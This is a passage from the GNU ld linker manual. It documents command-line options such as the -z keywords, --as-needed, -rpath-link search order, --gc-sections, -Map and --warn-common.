Mark PLT entries with dynamic tags, DT_X86_64_PLT, DT_X86_64_PLTSZ and DT_X86_64_PLTENT. Since this option stores a non-zero value in the r_addend field of R_X86_64_JUMP_SLOT relocations, the resulting executables and shared libraries are incompatible with dynamic linkers, such as those in older versions of glibc without the change to ignore r_addend in R_X86_64_GLOB_DAT and R_X86_64_JUMP_SLOT relocations, which don’t ignore the r_addend field of R_X86_64_JUMP_SLOT relocations. Supported for x86_64.

muldefs
Allow multiple definitions.

nocopyreloc
Disable linker generated .dynbss variables used in place of variables defined in shared libraries. May result in dynamic text relocations.

nodefaultlib
Specify that the dynamic loader search for dependencies of this object should ignore any default library search paths.

nodelete
Specify that the object shouldn’t be unloaded at runtime.

nodlopen
Specify that the object is not available to dlopen.

nodump
Specify that the object can not be dumped by dldump.

noexecstack
Marks the object as not requiring executable stack.

noextern-protected-data
Don’t treat protected data symbols as external when building a shared library. This option overrides the linker backend default. It can be used to work around incorrect relocations against protected data symbols generated by compiler. Updates on protected data symbols by another module aren’t visible to the resulting shared library. Supported for i386 and x86-64.

noreloc-overflow
Disable relocation overflow check. This can be used to disable relocation overflow check if there will be no dynamic relocation overflow at run-time. Supported for x86_64.

now
When generating an executable or shared library, mark it to tell the dynamic linker to resolve all symbols when the program is started, or when the shared library is loaded by dlopen, instead of deferring function call resolution to the point when the function is first called.

origin
Specify that the object requires $ORIGIN handling in paths.

pack-relative-relocs

nopack-relative-relocs

Generate compact relative relocation in position-independent executable and shared library. It adds DT_RELR, DT_RELRSZ and DT_RELRENT entries to the dynamic section. It is ignored when building position-dependent executable and relocatable output. nopack-relative-relocs is the default, which disables compact relative relocation. When linked against the GNU C Library, a GLIBC_ABI_DT_RELR symbol version dependency on the shared C Library is added to the output. Supported for i386 and x86-64.

relro

norelro

Create an ELF PT_GNU_RELRO segment header in the object. This specifies a memory segment that should be made read-only after relocation, if supported. Specifying common-page-size smaller than the system page size will render this protection ineffective. Don’t create an ELF PT_GNU_RELRO segment if norelro.

report-relative-reloc
Report dynamic relative relocations generated by linker. Supported for Linux/i386 and Linux/x86_64.

sectionheader

nosectionheader

Generate section header. Don’t generate section header if nosectionheader is used. sectionheader is the default.

separate-code

noseparate-code

Create separate code PT_LOAD segment header in the object. This specifies a memory segment that should contain only instructions and must be in wholly disjoint pages from any other data. Don’t create separate code PT_LOAD segment if noseparate-code is used.

shstk
Generate GNU_PROPERTY_X86_FEATURE_1_SHSTK in .note.gnu.property section to indicate compatibility with Intel Shadow Stack. Supported for Linux/i386 and Linux/x86_64.

stack-size=value
Specify a stack size for an ELF PT_GNU_STACK segment. Specifying zero will override any default non-zero sized PT_GNU_STACK segment creation.

start-stop-gc

nostart-stop-gc

When –gc-sections is in effect, a reference from a retained section to _ _start_SECNAME or _ _stop_SECNAME causes all input sections named SECNAME to also be retained, if SECNAME is representable as a C identifier and either _ _start_SECNAME or _ _stop_SECNAME is synthesized by the linker. -z start-stop-gc disables this effect, allowing sections to be garbage collected as if the special synthesized symbols were not defined. -z start-stop-gc has no effect on a definition of _ _start_SECNAME or _ _stop_SECNAME in an object file or linker script. Such a definition will prevent the linker providing a synthesized _ _start_SECNAME or _ _stop_SECNAME respectively, and therefore the special treatment by garbage collection for those references.

start-stop-visibility=value
Specify the ELF symbol visibility for synthesized _ _start_SECNAME and _ _stop_SECNAME symbols. value must be exactly default, internal, hidden, or protected. If no -z start-stop-visibility option is given, protected is used for compatibility with historical practice. However, it’s highly recommended to use -z start-stop-visibility=hidden in new programs and shared libraries so that these symbols are not exported between shared objects, which is not usually what’s intended.

text

notext

textoff

Report an error if DT_TEXTREL is set, i.e., if the position-independent or shared object has dynamic relocations in read-only sections. Don’t report an error if notext or textoff.

undefs
Do not report unresolved symbol references from regular object files, either when creating an executable, or when creating a shared library. This option is the inverse of -z defs.

unique-symbol

nounique-symbol

Avoid duplicated local symbol names in the symbol string table. Append “.number” to duplicated local symbol names if unique-symbol is used. nounique-symbol is the default.

x86-64-baseline

x86-64-v2

x86-64-v3

x86-64-v4

Specify the x86-64 ISA level needed in .note.gnu.property section. x86-64-baseline generates GNU_PROPERTY_X86_ISA_1_BASELINE. x86-64-v2 generates GNU_PROPERTY_X86_ISA_1_V2. x86-64-v3 generates GNU_PROPERTY_X86_ISA_1_V3. x86-64-v4 generates GNU_PROPERTY_X86_ISA_1_V4. Supported for Linux/i386 and Linux/x86_64.

isa-level-report=none

isa-level-report=all

isa-level-report=needed

isa-level-report=used

Specify how to report x86-64 ISA levels in input relocatable files. isa-level-report=none, which is the default, will make the linker not report x86-64 ISA levels in input files. isa-level-report=all will make the linker report needed and used x86-64 ISA levels in input files. isa-level-report=needed will make the linker report needed x86-64 ISA levels in input files. isa-level-report=used will make the linker report used x86-64 ISA levels in input files. Supported for Linux/i386 and Linux/x86_64.

Other keywords are ignored for Solaris compatibility.

-( archives -)

–start-group archives –end-group

The archives should be a list of archive files. They may be either explicit file names, or -l options. The specified archives are searched repeatedly until no new undefined references are created. Normally, an archive is searched only once in the order that it is specified on the command line. If a symbol in that archive is needed to resolve an undefined symbol referred to by an object in an archive that appears later on the command line, the linker would not be able to resolve that reference. By grouping the archives, they will all be searched repeatedly until all possible references are resolved. Using this option has a significant performance cost. It is best to use it only when there are unavoidable circular references between two or more archives.

–accept-unknown-input-arch

–no-accept-unknown-input-arch

Tells the linker to accept input files whose architecture cannot be recognised. The assumption is that the user knows what they are doing and deliberately wants to link in these unknown input files. This was the default behaviour of the linker, before release 2.14. The default behaviour from release 2.14 onwards is to reject such input files, and so the –accept-unknown-input-arch option has been added to restore the old behaviour.

–as-needed

–no-as-needed

This option affects ELF DT_NEEDED tags for dynamic libraries mentioned on the command line after the –as-needed option. Normally the linker will add a DT_NEEDED tag for each dynamic library mentioned on the command line, regardless of whether the library is actually needed or not. –as-needed causes a DT_NEEDED tag to only be emitted for a library that at that point in the link satisfies a non-weak undefined symbol reference from a regular object file or, if the library is not found in the DT_NEEDED lists of other needed libraries, a non-weak undefined symbol reference from another needed dynamic library. Object files or libraries appearing on the command line after the library in question do not affect whether the library is seen as needed. This is similar to the rules for extraction of object files from archives. –no-as-needed restores the default behaviour. Note: On Linux based systems the –as-needed option also has an affect on the behaviour of the –rpath and –rpath-link options. See the description of –rpath-link for more details.

–add-needed

–no-add-needed

These two options have been deprecated because of the similarity of their names to the –as-needed and –no-as-needed options. They have been replaced by –copy-dt-needed-entries and –no-copy-dt-needed-entries.

-assert keyword
This option is ignored for SunOS compatibility.

-Bdynamic

-dy

-call_shared

Link against dynamic libraries. This is only meaningful on platforms for which shared libraries are supported. This option is normally the default on such platforms. The different variants of this option are for compatibility with various systems. You may use this option multiple times on the command line: it affects library searching for -l options which follow it.

-Bgroup
Set the DF_1_GROUP flag in the DT_FLAGS_1 entry in the dynamic section. This causes the runtime linker to handle lookups in this object and its dependencies to be performed only inside the group. –unresolved-symbols=report-all is implied. This option is only meaningful on ELF platforms which support shared libraries.

-Bstatic

-dn

-non_shared

-static

Do not link against shared libraries. This is only meaningful on platforms for which shared libraries are supported. The different variants of this option are for compatibility with various systems. You may use this option multiple times on the command line: it affects library searching for -l options which follow it. This option also implies –unresolved-symbols=report-all. This option can be used with -shared. Doing so means that a shared library is being created but that all of the library’s external references must be resolved by pulling in entries from static libraries.

-Bsymbolic
When creating a shared library, bind references to global symbols to the definition within the shared library, if any. Normally, it is possible for a program linked against a shared library to override the definition within the shared library. This option is only meaningful on ELF platforms which support shared libraries.

-Bsymbolic-functions
When creating a shared library, bind references to global function symbols to the definition within the shared library, if any. This option is only meaningful on ELF platforms which support shared libraries.

-Bno-symbolic
This option can cancel previously specified -Bsymbolic and -Bsymbolic-functions.

–dynamic-list=dynamic-list-file
Specify the name of a dynamic list file to the linker. This is typically used when creating shared libraries to specify a list of global symbols whose references shouldn’t be bound to the definition within the shared library, or creating dynamically linked executables to specify a list of symbols which should be added to the symbol table in the executable. This option is only meaningful on ELF platforms which support shared libraries. The format of the dynamic list is the same as the version node without scope and node name. See VERSION for more information.

–dynamic-list-data
Include all global data symbols to the dynamic list.

–dynamic-list-cpp-new
Provide the builtin dynamic list for C++ operator new and delete. It is mainly useful for building shared libstdc++.

–dynamic-list-cpp-typeinfo
Provide the builtin dynamic list for C++ runtime type identification.

–check-sections

–no-check-sections

Asks the linker not to check section addresses after they have been assigned to see if there are any overlaps. Normally the linker will perform this check, and if it finds any overlaps it will produce suitable error messages. The linker does know about, and does make allowances for sections in overlays. The default behaviour can be restored by using the command-line switch –check-sections. Section overlap is not usually checked for relocatable links. You can force checking in that case by using the –check-sections option.

–copy-dt-needed-entries

–no-copy-dt-needed-entries

This option affects the treatment of dynamic libraries referred to by DT_NEEDED tags inside ELF dynamic libraries mentioned on the command line. Normally the linker won’t add a DT_NEEDED tag to the output binary for each library mentioned in a DT_NEEDED tag in an input dynamic library. With –copy-dt-needed-entries specified on the command line however any dynamic libraries that follow it will have their DT_NEEDED entries added. The default behaviour can be restored with –no-copy-dt-needed-entries. This option also has an effect on the resolution of symbols in dynamic libraries. With –copy-dt-needed-entries dynamic libraries mentioned on the command line will be recursively searched, following their DT_NEEDED tags to other libraries, in order to resolve symbols required by the output binary. With the default setting however the searching of dynamic libraries that follow it will stop with the dynamic library itself. No DT_NEEDED links will be traversed to resolve symbols.

–cref
Output a cross reference table. If a linker map file is being generated, the cross reference table is printed to the map file. Otherwise, it is printed on the standard output. The format of the table is intentionally simple, so that it may be easily processed by a script if necessary. The symbols are printed out, sorted by name. For each symbol, a list of file names is given. If the symbol is defined, the first file listed is the location of the definition. If the symbol is defined as a common value then any files where this happens appear next. Finally any files that reference the symbol are listed.

–ctf-variables

–no-ctf-variables

The CTF debuginfo format supports a section which encodes the names and types of variables found in the program which do not appear in any symbol table. These variables clearly cannot be looked up by address by conventional debuggers, so the space used for their types and names is usually wasted: the types are usually small but the names are often not. –ctf-variables causes the generation of such a section. The default behaviour can be restored with –no-ctf-variables.

–ctf-share-types=method
Adjust the method used to share types between translation units in CTF.

share-unconflicted
Put all types that do not have ambiguous definitions into the shared dictionary, where debuggers can easily access them, even if they only occur in one translation unit. This is the default.

share-duplicated
Put only types that occur in multiple translation units into the shared dictionary: types with only one definition go into per-translation-unit dictionaries. Types with ambiguous definitions in multiple translation units always go into per-translation-unit dictionaries. This tends to make the CTF larger, but may reduce the amount of CTF in the shared dictionary. For very large projects this may speed up opening the CTF and save memory in the CTF consumer at runtime.

–no-define-common
This option inhibits the assignment of addresses to common symbols. The script command INHIBIT_COMMON_ALLOCATION has the same effect. The –no-define-common option allows decoupling the decision to assign addresses to Common symbols from the choice of the output file type; otherwise a non-Relocatable output type forces assigning addresses to Common symbols. Using –no-define-common allows Common symbols that are referenced from a shared library to be assigned addresses only in the main program. This eliminates the unused duplicate space in the shared library, and also prevents any possible confusion over resolving to the wrong duplicate when there are many dynamic modules with specialized search paths for runtime symbol resolution.

–force-group-allocation
This option causes the linker to place section group members like normal input sections, and to delete the section groups. This is the default behaviour for a final link but this option can be used to change the behaviour of a relocatable link (-r). The script command FORCE_GROUP_ALLOCATION has the same effect.

–defsym=symbol=expression
Create a global symbol in the output file, containing the absolute address given by expression. You may use this option as many times as necessary to define multiple symbols in the command line. A limited form of arithmetic is supported for the expression in this context: you may give a hexadecimal constant or the name of an existing symbol, or use + and - to add or subtract hexadecimal constants or symbols. If you need more elaborate expressions, consider using the linker command language from a script. Note: there should be no white space between symbol, the equals sign ("="), and expression. The linker processes –defsym arguments and -T arguments in order, placing –defsym before -T will define the symbol before the linker script from -T is processed, while placing –defsym after -T will define the symbol after the linker script has been processed. This difference has consequences for expressions within the linker script that use the –defsym symbols, which order is correct will depend on what you are trying to achieve.

–demangle[=style]

–no-demangle

These options control whether to demangle symbol names in error messages and other output. When the linker is told to demangle, it tries to present symbol names in a readable fashion: it strips leading underscores if they are used by the object file format, and converts C++ mangled symbol names into user readable names. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler. The linker will demangle by default unless the environment variable COLLECT_NO_DEMANGLE is set. These options may be used to override the default.

-Ifile

–dynamic-linker=file

Set the name of the dynamic linker. This is only meaningful when generating dynamically linked ELF executables. The default dynamic linker is normally correct; don’t use this unless you know what you are doing.

–no-dynamic-linker
When producing an executable file, omit the request for a dynamic linker to be used at load-time. This is only meaningful for ELF executables that contain dynamic relocations, and usually requires entry point code that is capable of processing these relocations.

–embedded-relocs
This option is similar to the –emit-relocs option except that the relocs are stored in a target-specific section. This option is only supported by the BFIN, CR16 and M68K targets.

–disable-multiple-abs-defs
Do not allow multiple definitions with symbols included in filename invoked by -R or –just-symbols

–fatal-warnings

–no-fatal-warnings

Treat all warnings as errors. The default behaviour can be restored with the option –no-fatal-warnings.

-w

–no-warnings

Do not display any warning or error messages. This overrides –fatal-warnings if it has been enabled. This option can be used when it is known that the output binary will not work, but there is still a need to create it.

–force-exe-suffix
Make sure that an output file has a .exe suffix. If a successfully built fully linked output file does not have a .exe or .dll suffix, this option forces the linker to copy the output file to one of the same name with a .exe suffix. This option is useful when using unmodified Unix makefiles on a Microsoft Windows host, since some versions of Windows won’t run an image unless it ends in a .exe suffix.

–gc-sections

–no-gc-sections

Enable garbage collection of unused input sections. It is ignored on targets that do not support this option. The default behaviour (of not performing this garbage collection) can be restored by specifying –no-gc-sections on the command line. Note that garbage collection for COFF and PE format targets is supported, but the implementation is currently considered to be experimental. –gc-sections decides which input sections are used by examining symbols and relocations. The section containing the entry symbol and all sections containing symbols undefined on the command-line will be kept, as will sections containing symbols referenced by dynamic objects. Note that when building shared libraries, the linker must assume that any visible symbol is referenced. Once this initial set of sections has been determined, the linker recursively marks as used any section referenced by their relocations. See –entry, –undefined, and –gc-keep-exported. This option can be set when doing a partial link (enabled with option -r). In this case the root of symbols kept must be explicitly specified either by one of the options –entry, –undefined, or –gc-keep-exported or by a ENTRY command in the linker script. As a GNU extension, ELF input sections marked with the SHF_GNU_RETAIN flag will not be garbage collected.

–print-gc-sections

–no-print-gc-sections

List all sections removed by garbage collection. The listing is printed on stderr. This option is only effective if garbage collection has been enabled via the –gc-sections) option. The default behaviour (of not listing the sections that are removed) can be restored by specifying –no-print-gc-sections on the command line.

–gc-keep-exported
When –gc-sections is enabled, this option prevents garbage collection of unused input sections that contain global symbols having default or protected visibility. This option is intended to be used for executables where unreferenced sections would otherwise be garbage collected regardless of the external visibility of contained symbols. Note that this option has no effect when linking shared objects since it is already the default behaviour. This option is only supported for ELF format targets.

–print-output-format
Print the name of the default output format (perhaps influenced by other command-line options). This is the string that would appear in an OUTPUT_FORMAT linker script command.

–print-memory-usage
Print used size, total size and used size of memory regions created with the MEMORY command. This is useful on embedded targets to have a quick view of amount of free memory. The format of the output has one headline and one line per region. It is both human readable and easily parsable by tools. Here is an example of an output: Memory region Used Size Region Size %age Used ROM: 256 KB 1 MB 25.00% RAM: 32 B 2 GB 0.00%

–help
Print a summary of the command-line options on the standard output and exit.

–target-help
Print a summary of all target-specific options on the standard output and exit.

-Map=mapfile
Print a link map to the file mapfile. See the description of the -M option, above. If mapfile is just the character - then the map will be written to stdout. Specifying a directory as mapfile causes the linker map to be written as a file inside the directory. Normally name of the file inside the directory is computed as the basename of the output file with .map appended. If however the special character % is used then this will be replaced by the full path of the output file. Additionally if there are any characters after the % symbol then .map will no longer be appended. -o foo.exe -Map=bar [Creates ./bar] -o ../dir/foo.exe -Map=bar [Creates ./bar] -o foo.exe -Map=../dir [Creates ../dir/foo.exe.map] -o ../dir2/foo.exe -Map=../dir [Creates ../dir/foo.exe.map] -o foo.exe -Map=% [Creates ./foo.exe.map] -o ../dir/foo.exe -Map=% [Creates ../dir/foo.exe.map] -o foo.exe -Map=%.bar [Creates ./foo.exe.bar] -o ../dir/foo.exe -Map=%.bar [Creates ../dir/foo.exe.bar] -o ../dir2/foo.exe -Map=../dir/% [Creates ../dir/../dir2/foo.exe.map] -o ../dir2/foo.exe -Map=../dir/%.bar [Creates ../dir/../dir2/foo.exe.bar] It is an error to specify more than one % character. If the map file already exists then it will be overwritten by this operation.

–no-keep-memory
ld normally optimizes for speed over memory usage by caching the symbol tables of input files in memory. This option tells ld to instead optimize for memory usage, by rereading the symbol tables as necessary. This may be required if ld runs out of memory space while linking a large executable.

–no-undefined

-z defs

Report unresolved symbol references from regular object files. This is done even if the linker is creating a non-symbolic shared library. The switch –[no-]allow-shlib-undefined controls the behaviour for reporting unresolved references found in shared libraries being linked in. The effects of this option can be reverted by using -z undefs.

–allow-multiple-definition

-z muldefs

Normally when a symbol is defined multiple times, the linker will report a fatal error. These options allow multiple definitions and the first definition will be used.

–allow-shlib-undefined

–no-allow-shlib-undefined

Allows or disallows undefined symbols in shared libraries. This switch is similar to –no-undefined except that it determines the behaviour when the undefined symbols are in a shared library rather than a regular object file. It does not affect how undefined symbols in regular object files are handled. The default behaviour is to report errors for any undefined symbols referenced in shared libraries if the linker is being used to create an executable, but to allow them if the linker is being used to create a shared library. The reasons for allowing undefined symbol references in shared libraries specified at link time are that:

  • A shared library specified at link time may not be the same as the one that is available at load time, so the symbol might actually be resolvable at load time.

  • There are some operating systems, eg BeOS and HPPA, where undefined symbols in shared libraries are normal. The BeOS kernel for example patches shared libraries at load time to select whichever function is most appropriate for the current architecture. This is used, for example, to dynamically select an appropriate memset function.

–error-handling-script=scriptname
If this option is provided then the linker will invoke scriptname whenever an error is encountered. Currently however only two kinds of error are supported: missing symbols and missing libraries. Two arguments will be passed to script: the keyword “undefined-symbol” or `missing-lib" and the name of the undefined symbol or missing library. The intention is that the script will provide suggestions to the user as to where the symbol or library might be found. After the script has finished then the normal linker error message will be displayed. The availability of this option is controlled by a configure time switch, so it may not be present in specific implementations.

–no-undefined-version
Normally when a symbol has an undefined version, the linker will ignore it. This option disallows symbols with undefined version and a fatal error will be issued instead.

–default-symver
Create and use a default symbol version (the soname) for unversioned exported symbols.

–default-imported-symver
Create and use a default symbol version (the soname) for unversioned imported symbols.

–no-warn-mismatch
Normally ld will give an error if you try to link together input files that are mismatched for some reason, perhaps because they have been compiled for different processors or for different endiannesses. This option tells ld that it should silently permit such possible errors. This option should only be used with care, in cases when you have taken some special action that ensures that the linker errors are inappropriate.

–no-warn-search-mismatch
Normally ld will give a warning if it finds an incompatible library during a library search. This option silences the warning.

–no-whole-archive
Turn off the effect of the –whole-archive option for subsequent archive files.

–noinhibit-exec
Retain the executable output file whenever it is still usable. Normally, the linker will not produce an output file if it encounters errors during the link process; it exits without writing an output file when it issues any error whatsoever.

-nostdlib
Only search library directories explicitly specified on the command line. Library directories specified in linker scripts (including linker scripts specified on the command line) are ignored.

–oformat=output-format
ld may be configured to support more than one kind of object file. If your ld is configured this way, you can use the –oformat option to specify the binary format for the output object file. Even when ld is configured to support alternative object formats, you don’t usually need to specify this, as ld should be configured to produce as a default output format the most usual format on each machine. output-format is a text string, the name of a particular format supported by the BFD libraries. (You can list the available binary formats with objdump -i.) The script command OUTPUT_FORMAT can also specify the output format, but this option overrides it.

–out-implib file
Create an import library in file corresponding to the executable the linker is generating (eg. a DLL or ELF program). This import library (which should be called *.dll.a or *.a for DLLs) may be used to link clients against the generated executable; this behaviour makes it possible to skip a separate import library creation step (eg. dlltool for DLLs). This option is only available for the i386 PE and ELF targeted ports of the linker.

-pie

–pic-executable

Create a position independent executable. This is currently only supported on ELF platforms. Position independent executables are relocated by the dynamic linker to the virtual address the OS chooses for them, which can vary between invocations. They are marked ET_DYN in the ELF file header, but differ from shared libraries in a number of ways. In particular, defined symbols in a PIE by default can not be overridden by another object as they can be in a shared library.

-no-pie
Create a position dependent executable. This is the default.

-qmagic
This option is ignored for Linux compatibility.

-Qy
This option is ignored for SVR4 compatibility.

–relax

–no-relax

An option with machine dependent effects. This option is only supported on a few targets. On some platforms the –relax option performs target specific, global optimizations that become possible when the linker resolves addressing in the program, such as relaxing address modes, synthesizing new instructions, selecting shorter version of current instructions, and combining constant values. On some platforms these link time global optimizations may make symbolic debugging of the resulting executable impossible. This is known to be the case for the Matsushita MN10200 and MN10300 family of processors. On platforms where the feature is supported, the option –no-relax will disable it. On platforms where the feature is not supported, both –relax and –no-relax are accepted, but ignored.

–retain-symbols-file=filename
Retain only the symbols listed in the file filename, discarding all others. filename is simply a flat file, with one symbol name per line. This option is especially useful in environments (such as VxWorks) where a large global symbol table is accumulated gradually, to conserve run-time memory. –retain-symbols-file does not discard undefined symbols, or symbols needed for relocations. You may only specify –retain-symbols-file once in the command line. It overrides -s and -S.

-rpath=dir
Add a directory to the runtime library search path. This is used when linking an ELF executable with shared objects. All -rpath arguments are concatenated and passed to the runtime linker, which uses them to locate shared objects at runtime. The -rpath option is also used when locating shared objects which are needed by shared objects explicitly included in the link; see the description of the -rpath-link option. Searching -rpath in this way is only supported by native linkers and cross linkers which have been configured with the –with-sysroot option. If -rpath is not used when linking an ELF executable, the contents of the environment variable LD_RUN_PATH will be used if it is defined. The -rpath option may also be used on SunOS. By default, on SunOS, the linker will form a runtime search path out of all the -L options it is given. If a -rpath option is used, the runtime search path will be formed exclusively using the -rpath options, ignoring the -L options. This can be useful when using gcc, which adds many -L options which may be on NFS mounted file systems. For compatibility with other ELF linkers, if the -R option is followed by a directory name, rather than a file name, it is treated as the -rpath option.

-rpath-link=dir
When using ELF or SunOS, one shared library may require another. This happens when an ld -shared link includes a shared library as one of the input files. When the linker encounters such a dependency when doing a non-shared, non-relocatable link, it will automatically try to locate the required shared library and include it in the link, if it is not included explicitly. In such a case, several directories are searched as described below. The -rpath-link option specifies the first set of directories to search. This option may specify a sequence of directory names either by providing a list of names separated by colons, or by appearing multiple times. The tokens $ORIGIN and $LIB can appear in these search directories. They will be replaced by the full path to the directory containing the program or shared object in the case of $ORIGIN and either lib - for 32-bit binaries - or lib64 - for 64-bit binaries - in the case of $LIB. The alternative form of these tokens - ${ORIGIN} and ${LIB} can also be used. The token $PLATFORM is not supported. The –rpath-link option should be used with caution as it overrides the search path that may have been hard compiled into a shared library. In such a case it is possible to unintentionally use a different search path than the runtime linker would have used. When additional shared libraries are required, the linker will search directories in the order listed below in order to find them. Note however that this only applies to additional libraries needed to satisfy already included shared libraries. It does not apply to libraries that are included via the -l command line option. Searches for -l libraries are only conducted in directories specified by the -L option.

  1. Any directories specified by -rpath-link options.

  2. Any directories specified by -rpath options. The difference between -rpath and -rpath-link is that directories specified by -rpath options are included in the executable and used at runtime, whereas the -rpath-link option is only effective at link time. Searching -rpath in this way is only supported by native linkers and cross linkers which have been configured with the –with-sysroot option.

  3. On an ELF system, for native linkers, if the -rpath and -rpath-link options were not used, search the contents of the environment variable LD_RUN_PATH.

  4. On SunOS, if the -rpath option was not used, search any directories specified using -L options.

  5. For a native linker, search the contents of the environment variable LD_LIBRARY_PATH.

  6. For a native ELF linker, the directories in DT_RUNPATH or DT_RPATH of a shared library are searched for shared libraries needed by it. The DT_RPATH entries are ignored if DT_RUNPATH entries exist.

  7. For a linker for a Linux system, if the file /etc/ld.so.conf exists, the list of directories found in that file. Note: the path to this file is prefixed with the sysroot value, if that is defined, and then any prefix string if the linker was configured with the –prefix=<path> option.

  8. For a native linker on a FreeBSD system, any directories specified by the _PATH_ELF_HINTS macro defined in the elf-hints.h header file.

  9. Any directories specified by a SEARCH_DIR command in a linker script given on the command line, including scripts specified by -T (but not -dT).

  10. The default directories, normally /lib and /usr/lib.

  11. Any directories specified by a plugin LDPT_SET_EXTRA_LIBRARY_PATH.

  12. Any directories specified by a SEARCH_DIR command in a default linker script.

Note however on Linux based systems there is an additional caveat: If the –as-needed option is active and a shared library is located which would normally satisfy the search and this library does not have DT_NEEDED tag for libc.so and there is a shared library later on in the set of search directories which also satisfies the search and this second shared library does have a DT_NEEDED tag for libc.so then the second library will be selected instead of the first. If the required shared library is not found, the linker will issue a warning and continue with the link.

–section-ordering-file=script
This option is used to augment the current linker script with additional mapping of input sections to output sections. This file must use the same syntax for SECTIONS as is used in normal linker scripts, but it should not do anything other than place input sections into output sections. @pxref{SECTIONS} A second constraint on the section ordering script is that it can only reference output sections that are already defined by whichever linker script is currently in use. (Ie the default linker script or a script specified on the command line). The benefit of the section ordering script however is that the input sections are mapped to the start of the output sections, so that they can ensure the ordering of sections in the output section. For example, imagine that the default linker script looks like this: SECTIONS { .text : { *(.text.hot) ; *(.text .text.*) } .data : { *(.data.big) ; *(.data .data.*) } } Then if a section ordering file like this is used: .text : { *(.text.first) ; *(.text.z*) } .data : { foo.o(.data.first) ; *(.data.small) } This would be equivalent to a linker script like this: SECTIONS { .text : { *(.text.first) ; *(.text.z*) ; *(.text.hot) ; *(.text .text.*) } .data : { foo.o(.data.first) ; *(.data.small) ; *(.data.big) ; *(.data .data.*) } } The advantage of the section ordering file is that it can be used to order those sections that matter to the user without having to worry about any other sections, or memory regions, or anything else.

-shared

-Bshareable

Create a shared library. This is currently only supported on ELF, XCOFF and SunOS platforms. On SunOS, the linker will automatically create a shared library if the -e option is not used and there are undefined symbols in the link.

–sort-common

–sort-common=ascending

–sort-common=descending

This option tells ld to sort the common symbols by alignment in ascending or descending order when it places them in the appropriate output sections. The symbol alignments considered are sixteen-byte or larger, eight-byte, four-byte, two-byte, and one-byte. This is to prevent gaps between symbols due to alignment constraints. If no sorting order is specified, then descending order is assumed.

–sort-section=name
This option will apply SORT_BY_NAME to all wildcard section patterns in the linker script.

–sort-section=alignment
This option will apply SORT_BY_ALIGNMENT to all wildcard section patterns in the linker script.

–spare-dynamic-tags=count
This option specifies the number of empty slots to leave in the .dynamic section of ELF shared objects. Empty slots may be needed by post processing tools, such as the prelinker. The default is 5.

–split-by-file[=size]
Similar to –split-by-reloc but creates a new output section for each input file when size is reached. size defaults to a size of 1 if not given.

–split-by-reloc[=count]
Tries to creates extra sections in the output file so that no single output section in the file contains more than count relocations. This is useful when generating huge relocatable files for downloading into certain real time kernels with the COFF object file format; since COFF cannot represent more than 65535 relocations in a single section. Note that this will fail to work with object file formats which do not support arbitrary sections. The linker will not split up individual input sections for redistribution, so if a single input section contains more than count relocations one output section will contain that many relocations. count defaults to a value of 32768.

–stats
Compute and display statistics about the operation of the linker, such as execution time and memory usage.

–sysroot=directory
Use directory as the location of the sysroot, overriding the configure-time default. This option is only supported by linkers that were configured using –with-sysroot.

–task-link
This is used by COFF/PE based targets to create a task-linked object file where all of the global symbols have been converted to statics.

–traditional-format
For some targets, the output of ld is different in some ways from the output of some existing linker. This switch requests ld to use the traditional format instead. For example, on SunOS, ld combines duplicate entries in the symbol string table. This can reduce the size of an output file with full debugging information by over 30 percent. Unfortunately, the SunOS dbx program can not read the resulting program (gdb has no trouble). The –traditional-format switch tells ld to not combine duplicate entries.

–section-start=sectionname=org
Locate a section in the output file at the absolute address given by org. You may use this option as many times as necessary to locate multiple sections in the command line. org must be a single hexadecimal integer; for compatibility with other linkers, you may omit the leading 0x usually associated with hexadecimal values. Note: there should be no white space between sectionname, the equals sign ("="), and org.

-Tbss=org

-Tdata=org

-Ttext=org

Same as –section-start, with .bss, .data or .text as the sectionname.

-Ttext-segment=org
When creating an ELF executable, it will set the address of the first byte of the text segment. Note that when -pie is used with **-Ttext-segment=**org, the output executable is marked ET_EXEC so that the address of the first byte of the text segment will be guaranteed to be org at run time.

-Trodata-segment=org
When creating an ELF executable or shared object for a target where the read-only data is in its own segment separate from the executable text, it will set the address of the first byte of the read-only data segment.

-Tldata-segment=org
When creating an ELF executable or shared object for x86-64 medium memory model, it will set the address of the first byte of the ldata segment.

–unresolved-symbols=method
Determine how to handle unresolved symbols. There are four possible values for method:

ignore-all
Do not report any unresolved symbols.

report-all
Report all unresolved symbols. This is the default.

ignore-in-object-files
Report unresolved symbols that are contained in shared libraries, but ignore them if they come from regular object files.

ignore-in-shared-libs
Report unresolved symbols that come from regular object files, but ignore them if they come from shared libraries. This can be useful when creating a dynamic binary and it is known that all the shared libraries that it should be referencing are included on the linker’s command line.

The behaviour for shared libraries on their own can also be controlled by the –[no-]allow-shlib-undefined option. Normally the linker will generate an error message for each reported unresolved symbol but the option –warn-unresolved-symbols can change this to a warning.

–dll-verbose

–verbose[=NUMBER]

Display the version number for ld and list the linker emulations supported. Display which input files can and cannot be opened. Display the linker script being used by the linker. If the optional NUMBER argument > 1, plugin symbol status will also be displayed.

–version-script=version-scriptfile
Specify the name of a version script to the linker. This is typically used when creating shared libraries to specify additional information about the version hierarchy for the library being created. This option is only fully supported on ELF platforms which support shared libraries; see VERSION. It is partially supported on PE platforms, which can use version scripts to filter symbol visibility in auto-export mode: any symbols marked local in the version script will not be exported.

–warn-common
Warn when a common symbol is combined with another common symbol or with a symbol definition. Unix linkers allow this somewhat sloppy practice, but linkers on some other operating systems do not. This option allows you to find potential problems from combining global symbols. Unfortunately, some C libraries use this practice, so you may get some warnings about symbols in the libraries as well as in your programs. There are three kinds of global symbols, illustrated here by C examples:

int i = 1;
A definition, which goes in the initialized data section of the output file.

extern int i;
An undefined reference, which does not allocate space. There must be either a definition or a common symbol for the variable somewhere.

int i;
A common symbol. If there are only (one or more) common symbols for a variable, it goes in the uninitialized data area of the output file. The linker merges multiple common symbols for the same variable into a single symbol. If they are of different sizes, it picks the largest size. The linker turns a common symbol into a declaration, if there is a definition of the same variable.

The –warn-common option can produce five kinds of warnings. Each warning consists of a pair of lines: the first describes the symbol just encountered, and the second describes the previous symbol encountered with the same name. One or both of the two symbols will be a common symbol.

  1. Turning a common symbol into a reference, because there is already a definition for the symbol. <file>(<section>): warning: common of `<symbol> overridden by definition <file>(<section>): warning: defined here

  2. Turning a common symbol into a reference, because a later definition for the symbol is encountered. This is the same as the previous case, except that the symbols are encountered in a different order. <file>(<section>): warning: definition of `<symbol> overriding common <file>(<section>): warning: common is here

